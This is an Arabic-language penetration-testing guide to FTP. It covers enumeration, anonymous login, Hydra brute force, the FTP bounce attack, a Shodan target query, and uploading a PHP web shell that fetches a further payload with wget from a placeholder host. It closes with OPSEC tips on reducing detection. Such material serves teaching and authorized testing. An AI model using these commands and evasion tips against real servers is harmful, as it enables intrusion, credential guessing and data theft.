ما هو FTP ولماذا يهمنا؟
FTP (File Transfer Protocol) هو بروتوكول قديم يُستخدم لنقل الملفات بين جهازين عبر الشبكة. الإشكالية الكبيرة؟ كل شيء ينتقل نصاً صريحاً (plain-text) — كلمة المرور، اسم المستخدم، الملفات — كل هذا يمكن التقاطه بسهولة.
| المعلومة | القيمة |
|---|---|
| البروتوكول | FTP — File Transfer Protocol |
| المنفذ الافتراضي | 21 (TCP) |
| نوع البيانات | نص صريح (غير مشفر) |
| طابع السطر الجديد | 0x0d 0x0a |
ملاحظة للمبتدئين: بسبب طابع السطر الجديد الخاص، أحياناً تحتاج للاتصال عبر
telnetأوnc -Cبدلاً من الأدوات المعتادة.
الاتصال النشط والسلبي — الفرق الأساسي
قبل أي شيء، يجب أن تفهم كيف يتصل FTP لأن هذا يؤثر على كيفية تعاملك معه.
الاتصال النشط (Active FTP)
- العميل يفتح الاتصال التحكمي من المنفذ
Nإلى المنفذ21على الخادم - العميل يستمع على المنفذ
N+1ويُرسل هذا الرقم للخادم - الخادم هو من يبدأ اتصال البيانات إلى المنفذ
N+1عند العميل
المشكلة: إذا كان عند العميل Firewall يمنع الاتصالات الواردة، الاتصال النشط سيفشل.
الاتصال السلبي (Passive FTP)
- العميل يفتح الاتصال التحكمي إلى المنفذ
21 - العميل يُرسل أمر
PASV - الخادم يُرسل رقم منفذ
Mمتاح - العميل هو من يبدأ اتصال البيانات إلى المنفذ
Mعلى الخادم
الفائدة: العميل هو من يبدأ كل الاتصالات، فلا مشكلة مع الـ Firewall.
مرحلة الاستطلاع (Enumeration)
الخطوة الأولى: Banner Grabbing
الـ Banner هو أول رد يُرسله الخادم — فيه معلومات قيّمة كالإصدار وأحياناً اسم النظام.
# الطريقة الأبسط
nc -vn <IP> 21
# إذا كان FTP يعمل على SSL/TLS
openssl s_client -connect crossfit.htb:21 -starttls ftp
فحص Nmap الشامل
sudo nmap -sV -p21 -sC -A 10.10.10.10
لتشغيل كل سكريبتات Nmap المتعلقة بـ FTP دفعة واحدة:
nmap --script ftp-* -p 21 <IP>
هذا يتحقق تلقائياً من: تسجيل الدخول المجهول، FTP Bounce، وإصدار الخادم.
استعلام معلومات الخادم مباشرةً
بعد الاتصال، يمكنك إرسال هذه الأوامر مباشرة للخادم:
HELP # يعرض كل الأوامر المدعومة
FEAT # يعرض الميزات والإضافات المفعّلة
STAT # معلومات عن حالة الخادم وإصداره
تسجيل الدخول المجهول (Anonymous Login)
هذا أول شيء تتحقق منه دائماً. كثير من خوادم FTP القديمة أو المُهيّأة بشكل خاطئ تسمح بالدخول بدون كلمة مرور حقيقية.
بيانات الدخول الشائعة:
anonymous:anonymousanonymous: (فراغ)ftp:ftp
ftp <IP>
# ثم أدخل:
# Username: anonymous
# Password: anonymous
بعد الدخول، الأوامر الأساسية:
ls -a # عرض كل الملفات بما فيها المخفية
binary # تبديل وضع النقل إلى ثنائي (ضروري للملفات غير النصية)
ascii # تبديل وضع النقل إلى نصي
get file.txt # تحميل ملف
put file.txt # رفع ملف
bye # الخروج
تلميح: دائماً استخدم
ls -a— الملفات المخفية موجودة وكثيراً ما تحتوي على معلومات مهمة.
الاتصال عبر lftp (للخوادم المشفرة)
إذا كان الخادم يستخدم SSL/TLS:
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login username Password
تحميل كل محتوى الخادم دفعة واحدة
# تحميل كل شيء (وضع سلبي)
wget -m ftp://anonymous:anonymous@10.10.10.98
# إذا كان وضع PASV معطلاً
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98
# إذا كانت كلمة المرور تحتوي أحرفاً خاصة
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
Brute Force — كسر كلمة المرور
إذا لم ينجح الدخول المجهول، جرّب قائمة كلمات المرور الافتراضية:
hydra -t 1 -l <Username> -P /path/to/passwords.txt -vV <IP> ftp
قائمة ممتازة للبداية: ftp-betterdefaultpasslist.txt
هجمة FTP Bounce
هذه الثغرة موجودة في خوادم FTP القديمة التي تدعم أمر PORT. الفكرة ببساطة: تجعل الخادم يتصل بأجهزة أخرى بدلاً منك.
ما الذي يمكن عمله؟
- فحص المنافذ عبر الخادم (تستخدم الخادم كـ proxy للفحص)
- التحدث مع بروتوكولات أخرى كـ HTTP أو FTP خوادم أخرى
- رفع طلبات HTTP ليُرسلها الخادم لأهداف أخرى
كيف تعمل الهجمة؟
- ارفع ملفاً نصياً يحتوي الطلب الذي تريد إرساله (HTTP أو FTP request)
- تذكر: فواصل السطور يجب أن تكون
0x0d 0x0a
- تذكر: فواصل السطور يجب أن تكون
- استخدم
REST Xلتخطي أي بيانات لا تريدها في بداية الملف - استخدم
PORTللإشارة إلى الخادم الهدف والمنفذ - استخدم
RETRلإرسال الملف عبر الاتصال المفتوح
PORT 127,0,0,1,0,80
# يأمر الخادم بالاتصال بـ 127.0.0.1 على المنفذ 80
EPRT |2|127.0.0.1|80|
# نفس الشيء لكن يدعم IPv6
ملاحظة: غالباً ستحصل على خطأ
Socket not writableلأن الاتصال لا يدوم بما يكفي. الحل: كرّر الطلب أكثر من مرة داخل الملف (حتى ~0.5MB) أو أضف بيانات “مالئة” لإطالة الاتصال.
رفع Web Shell عبر FTP (XAMPP/ProFTPD)
في بيئات XAMPP، كثيراً ما يكون جذر FTP مرتبطاً بـ /opt/lampp/htdocs — أي مجلد الويب مباشرة.
سيناريو الاستغلال:
- تسجيل الدخول بحساب ضعيف (
daemonأوnobody) - رفع Web Shell بصيغة PHP
- تشغيل الـ Shell عبر المتصفح وتحميل payload إضافي:
# مثال لأمر التشغيل عبر الـ Shell
webshell.php?cmd=wget -qO - http://<server>/.x/?x=x86
إذا لم يكن المجلد الحالي قابلاً للتنفيذ، جرّب الكتابة في
/tmp.
ملفات الإعداد المهمة (Post-Exploitation)
بعد الوصول للخادم، ابحث عن هذه الملفات:
/etc/vsftpd.conf
/etc/ftpusers
/etc/ftp.conf
/etc/proftpd.conf
إعدادات خطيرة في vsftpd
| الإعداد | الخطر |
|---|---|
anonymous_enable=YES | يسمح بالدخول المجهول |
anon_upload_enable=YES | يسمح للمجهول برفع ملفات |
anon_mkdir_write_enable=YES | يسمح للمجهول بإنشاء مجلدات |
write_enable=YES | يفعّل أوامر الكتابة (STOR, DELE, إلخ) |
no_anon_password=YES | لا يطلب كلمة مرور من المجهول |
مرجع سريع: أوامر FTP الأساسية
| الأمر | الوظيفة |
|---|---|
USER username | تسجيل اسم المستخدم |
PASS password | تسجيل كلمة المرور |
LIST | عرض محتوى المجلد الحالي |
LIST -R | عرض كل المجلدات بشكل تكراري |
RETR /path/file | تحميل ملف |
STOR /path/file | رفع ملف (يُستبدل إن وجد) |
APPE /path/file | رفع ملف (يُضاف للنهاية إن وجد) |
STOU /path/file | رفع ملف (لا يفعل شيئاً إن وجد) |
DELE /path/file | حذف ملف |
MKD /path | إنشاء مجلد |
PWD | عرض المجلد الحالي |
PASV | تفعيل الوضع السلبي |
TYPE i | تبديل النقل إلى ثنائي |
REST 6 | بدء الإرسال من البايت السادس |
QUIT | الخروج |
البحث عن أهداف عبر Shodan
ftp
port:21
ملاحظات OPSEC
أدوات الحماية التي قد تكشف النشاط:
- سجلات خادم FTP (
vsftpd.logأوxferlog): تسجّل كل محاولة تسجيل دخول (ناجحة أو فاشلة)، وكل عملية تحميل أو رفع ملف باسمه ووقته وحجمه ومساره الكامل. - أنظمة كشف التسلل (IDS): ترصد عدداً ضخماً من محاولات تسجيل الدخول الفاشلة خلال وقت قصير من نفس العنوان، وهو النمط النموذجي لأي هجوم Brute Force.
- الخادم الوسيط بهجمة FTP Bounce: رغم أن هذه التقنية تُخفي عنوان IP المهاجم الحقيقي عن الهدف النهائي، يحتفظ الخادم الوسيط نفسه بسجل كامل للعملية يمكن تتبعه لاحقاً.
مستوى الضجيج لكل تقنية:
| التقنية | مستوى الضجيج | السبب |
|---|---|---|
| تسجيل الدخول كـAnonymous | منخفض | يُسجَّل كاتصال عادي باسم anonymous مع عنوان IP المصدر، دون تكرار يلفت الانتباه |
| الاستطلاع (فحص Nmap، البانر) | منخفض | اتصال عادي بالمنفذ 21، يُسجَّل كمحاولة اتصال واحدة |
| Brute Force (Hydra) | مرتفع جداً | عدد ضخم من محاولات تسجيل الدخول الفاشلة بوقت قصير — يُنبّه أي IDS فوراً |
| تحميل/رفع الملفات | منخفض إلى متوسط | كل عملية تُسجَّل باسم الملف ووقته وحجمه ومساره، لكنها لا تُصنَّف كنشاط هجومي بحد ذاتها |
| FTP Bounce | متوسط | يُخفي IP المهاجم عن الهدف النهائي، لكن الخادم الوسيط يحتفظ بسجل كامل قابل للتتبع |
| رفع Web Shell | مرتفع | يُسجَّل كرفع ملف عادي وقت الرفع، لكن أي استخدام لاحق للـShell يُنشئ نمط طلبات غير اعتيادي يسهل رصده |
كيف نقلل الأثر:
- استخدم
-t 1في Hydra عند تنفيذ Brute Force لتجنب الـ lockout وتقليل الضجيج. - لا تستخدم اسمك الحقيقي أو بريدك الشخصي عند تسجيل الدخول كـAnonymous — بعض الخوادم تطلب إيميل ككلمة مرور وتسجّله.
- تذكّر أن هجمة FTP Bounce تحمي عنوانك أنت فقط ولا تحمي الخادم الوسيط من التتبع — لا تعتمد عليها كإخفاء كامل للهوية.
- في بيئات الاختبار المرخّص (خارج CTF)، وثّق كل خطوة تنفّذها مسبقاً بتقريرك، لأن كل إجراء على خادم FTP مسجَّل.
🛠️ أدوات لفحص FTP
| الأداة | الوصف | الأمر المباشر | الرابط |
|---|---|---|---|
| Nmap | فحص المنفذ 21 وتشغيل كل سكريبتات FTP تلقائياً | nmap --script ftp-* -p 21 <IP> | nmap.org |
| Hydra | Brute Force على بيانات دخول FTP | hydra -l user -P passwords.txt ftp://<IP> | GitHub |
| Metasploit | فحص Anonymous Login وإصدار الخادم | use auxiliary/scanner/ftp/anonymous | metasploit.com |
| lftp | عميل FTP متقدم يدعم SSL/TLS والجلسات المشفرة | lftp -u user,pass <IP> | lftp.yar.ru |
| wget | تحميل كامل محتوى الخادم دفعة واحدة | wget -m ftp://anonymous:anonymous@<IP> | مدمجة في Linux |
| openssl | اختبار اتصال FTP المشفر عبر STARTTLS | openssl s_client -connect <IP>:21 -starttls ftp | مدمجة في Linux |